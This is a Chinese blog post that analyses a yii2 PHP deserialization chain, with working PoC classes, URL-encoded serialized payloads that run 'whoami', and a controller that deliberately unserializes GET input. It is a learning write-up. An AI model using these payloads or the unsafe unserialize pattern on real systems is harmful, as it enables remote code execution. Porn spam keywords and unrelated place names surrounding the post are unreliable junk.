最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

yii2反序列化漏洞初探

2023-03-04 10:26 作者:執(zhí)筆畫倩  | 我要投稿

1.簡單介紹

閑逛時發(fā)現(xiàn)yii2有反序列化的漏洞,比較感興趣所以來記錄學(xué)習(xí)下。yii2是一個使用php語言的開發(fā)框架,其版本小于2.0.38存在多條反序列化的利用鏈,本篇分析的鏈如下:

BatchQueryResult.__destruct() -> BatchQueryResult.reset() -> Generator.__call() -> Generator.format() -> Generator.getFormatter() -> CreateAction.run()

2.環(huán)境搭建

因筆者之前開發(fā)過一段時間的yii框架所以這里就拿之前開發(fā)的平臺做一個復(fù)現(xiàn),同時也驗證一下以前開發(fā)的平臺是否存在該漏洞。正常的去github上下載yii框架,拉下來修改cookie值后布到自己的web環(huán)境中就可以使用了,框架搭建好之后的默認(rèn)頁面如下:

3.前置知識

在分析這個漏洞前我們可以看一個小demo來更好的理解這個鏈(大佬可以略過),這個demo有兩個類,test2類中存在call_user_func_array這個回調(diào)的函數(shù)可以讓我們回調(diào)其他函數(shù)執(zhí)行命令或者寫shell,test1類中只有魔術(shù)方法。

<?php
class test1
{

protected $events;

protected $event;

public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}


public function __destruct()
{
$this->events->demo($this->event);
}
}

class test2
{
protected $formatters;

function __construct($forma){
$this->formatters = $forma;
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}

public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}

unserialize($_GET['a']);

這個對于demo我們要執(zhí)行回調(diào)函數(shù)需要能夠執(zhí)行到format這個方法,而這個方法在_call魔術(shù)方法中被調(diào)用,這個魔術(shù)方法是如果test2這個類在調(diào)用到這個類不存在的方法時觸發(fā)的,所以我們需要找一個點實例化test2然后讓其調(diào)用一個不存在的類就可以讓其執(zhí)行這個魔術(shù)方法。而在test1這個類中 _destruct魔術(shù)方法中會調(diào)用$events的demo方法,剛好在test2中不存在這個demo方法所以可以通過test1類執(zhí)行到這個回調(diào)函數(shù)。

前面分析了如何到達(dá)這個方法,這部分來看如何控制回調(diào)函數(shù)的參數(shù),這個函數(shù)的參數(shù)由getFormatter方法的返回值和$arguments這個數(shù)組構(gòu)成。$arguments這個參數(shù)是要我們回調(diào)的函數(shù)要執(zhí)行的內(nèi)容,這個值通過_call方法中的$attributes傳遞過來,而這個變量是test1中的$events變量,這個變量是可控的。

getFormatter的方法里將傳遞過來的值作為鍵返回$formatters中對應(yīng)的值,$formatter這個變量是 _call方法的$method,因為在test1中實例化test2調(diào)用的不存在的方法為demo所以這個變量的值為demo。根據(jù)前面的分析要控制回調(diào)的函數(shù)就賦值test2中的$formatters中的鍵demo的值為要回調(diào)的函數(shù)明就可以了。

注:關(guān)于魔術(shù)方法

__construct() ? 實例化類時自動調(diào)用
__destruct() ? ?類對象使用結(jié)束時自動調(diào)用
__set() 在給未定義的屬性賦值時自動調(diào)用
__get() 調(diào)用未定義的屬性時自動調(diào)用
__isset() ? 使用 isset() 或 empty() 函數(shù)時自動調(diào)用
__unset() ? 使用 unset() 時自動調(diào)用
__sleep() ? 使用 serialize 序列化時自動調(diào)用
__wakeup() ?使用 unserialize 反序列化時自動調(diào)用
__call() ? ?調(diào)用一個不存在的方法時自動調(diào)用
__callStatic() ?調(diào)用一個不存在的靜態(tài)方法時自動調(diào)用
__toString() ? ?把對象轉(zhuǎn)換成字符串時自動調(diào)用
__invoke() ?當(dāng)嘗試把對象當(dāng)方法調(diào)用時自動調(diào)用
__set_state() ? 當(dāng)使用 var_export() 函數(shù)時自動調(diào)用,接受一個數(shù)組參數(shù)
__clone() ? 當(dāng)使用 clone 復(fù)制一個對象時自動調(diào)用
__debugInfo() ? 使用 var_dump() 打印對象信息時自動調(diào)用
__autoload() ? ?嘗試加載未定義的類

根據(jù)前面的分析我們可以做出如下的poc,這里執(zhí)行whoami的命令:

class test1
{

protected $events;
protected $event;

public function __construct()
{
$this->event = 'whoami';
$this->events = new test2;
}


public function __destruct()
{
$this->events->demo($this->event);
}
}

class test2
{
protected $formatters;

function __construct(){
$this->formatters = ['demo'=>'system'];
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}

public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}

echo serialize(new test1);

在這個poc中利用_construct魔術(shù)方法按照前文的分析進行了賦值,這里我們要執(zhí)行whoami的命令,將$events賦值實例化的test2然后test2調(diào)用demo方法。將$event賦值為要回調(diào)的函數(shù)要執(zhí)行的內(nèi)容所以為"whoami"。在test2中的數(shù)組$formatters中賦值['demo'=>'system'],這樣根據(jù)demo的鍵值對應(yīng)的就是返回system作為回調(diào)函數(shù)。最后實現(xiàn)

call_user_func_array('system', 'whoami')

poc輸出反序列化字符串,因為是get方法所以進行了url編碼:

O%3A5%3A%22test1%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A5%3A%22test2%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A4%3A%22demo%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3Bs%3A6%3A%22whoami%22%3B%7D

4.yii2 2.0.38反序列化分析

根據(jù)前面的知識我們發(fā)現(xiàn)需要尋找一個魔術(shù)方法當(dāng)作入口點來觸發(fā),這條序列化的入口點在vendor/yiisoft/yii2/db/BatchQueryResult.php這個文件中,進入這個文件可以看到BatchQueryResult這個類在結(jié)束時會調(diào)用reset方法。在reset方法中看到一行代碼$this->_dataReader->close(),根據(jù)前面的前置知識可以想到如果將 _dataReader實例化一個類并且這個類中沒有close方法且有 _call魔術(shù)方法就會觸發(fā) _call魔術(shù)方法。

這個點作為入口,接下來就需要全局搜索_call方法找找符合前面條件的類了。這里我們使用/vendor/fzaninotto/faker/src/Faker/Generator.php里的Generator方法。

可以看到這個類的方法和前置知識中的test2這個類不能說相似只能說一模一樣,只是這里我們會發(fā)現(xiàn)一個問題因為close函數(shù)沒有內(nèi)容所以$attributes這個變量我們不能控制,這樣的話我們就只能使用一些沒參數(shù)的函數(shù)了。解決辦法就是我們可以想到call_user_func_array這個函數(shù)也可以調(diào)用類內(nèi)部的方法,所以可以再找找有沒有一個類存在一個不需要輸入?yún)?shù)的方法,在這個方法中可以回調(diào)函數(shù)或者執(zhí)行其他的惡意代碼之類的。

要找到這樣的方法需要使用正則去全局搜索匹配,學(xué)習(xí)一下師傅們的正則表達(dá)式,前面到'\n?'的這一部分是匹配function后任意字符后跟括號內(nèi)部為空這樣就匹配了無參數(shù)的方法,后面的部分是在'{'后的內(nèi)容中存在'call_user_func'的內(nèi)容,確定了尋找的無參方法內(nèi)部存在回調(diào)函數(shù):

function \w*\(\)\n? *\{(.*\n)+ *call_user_func

匹配過后需要查看每個無參方法中的回調(diào)函數(shù)是否能控制輸入?yún)?shù),這里選擇/vendor/yiisoft/yii2/rest/CreateAction.php中的run方法,該方法的兩個參數(shù)都是可以控制的。

綜上所述poc如下,大致寫法與前置知識的思路一致只是最后回調(diào)函數(shù)需要找一個無參的方法:

<?php
namespace yii\rest{

class CreateAction{
public $checkAccess;
public $id;
public function __construct()
{
$this->checkAccess='system';
$this->id='whoami';
}
}
}

namespace Faker{
class Generator{
protected $formatters;

public function __construct($array)
{
$this->formatters['close']=$array; ?//調(diào)用CreateAction中的run方法
}
}
}

namespace yii\db{

class BatchQueryResult{
private $_dataReader;
public function __construct($data)
{
$this->_dataReader= $data; ?//會調(diào)用Generator中的_call方法
}
}
}

namespace{
use Faker\Generator;
use yii\rest\CreateAction;

$array=[new CreateAction,'run'];
echo urlencode(serialize(new yii\db\BatchQueryResult(new Generator($array))));
}

5.漏洞復(fù)現(xiàn)

我們新建一個對字符串進行序列化的頁面進行測試,yii一般是控制器來進行數(shù)據(jù)處理,我們在controller新建一個test控制器對傳入的值進行序列化就可以了。

<?php
namespace app\controllers;

use yii\web\Controller;

class TestController extends Controller{

public function actionTest(){

return unserialize($_GET['a']);
}
}

將上面poc輸出的值傳入即可

O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A5%3A%22close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A6%3A%22whoami%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D

此外還有其他的利用鏈例如最后的無參回調(diào)函數(shù)可以替換,入口函數(shù)也有其他的類存在_destory可以進入。


yii2反序列化漏洞初探的評論 (共 條)

分享到微博請遵守國家法律
含山县| 丹寨县| 建瓯市| 乌苏市| 平山县| 邳州市| 赤城县| 珠海市| 油尖旺区| 石阡县| 资阳市| 巴彦淖尔市| 长海县| 建始县| 阿克| 马鞍山市| 福贡县| 博爱县| 宜昌市| 邓州市| 双辽市| 屏边| 舒城县| 正镶白旗| 武冈市| 抚顺市| 方城县| 清镇市| 嘉兴市| 阜新| 社旗县| 新化县| 时尚| 山东省| 宜川县| 蚌埠市| 沙坪坝区| 长治县| 饶阳县| 根河市| 萍乡市|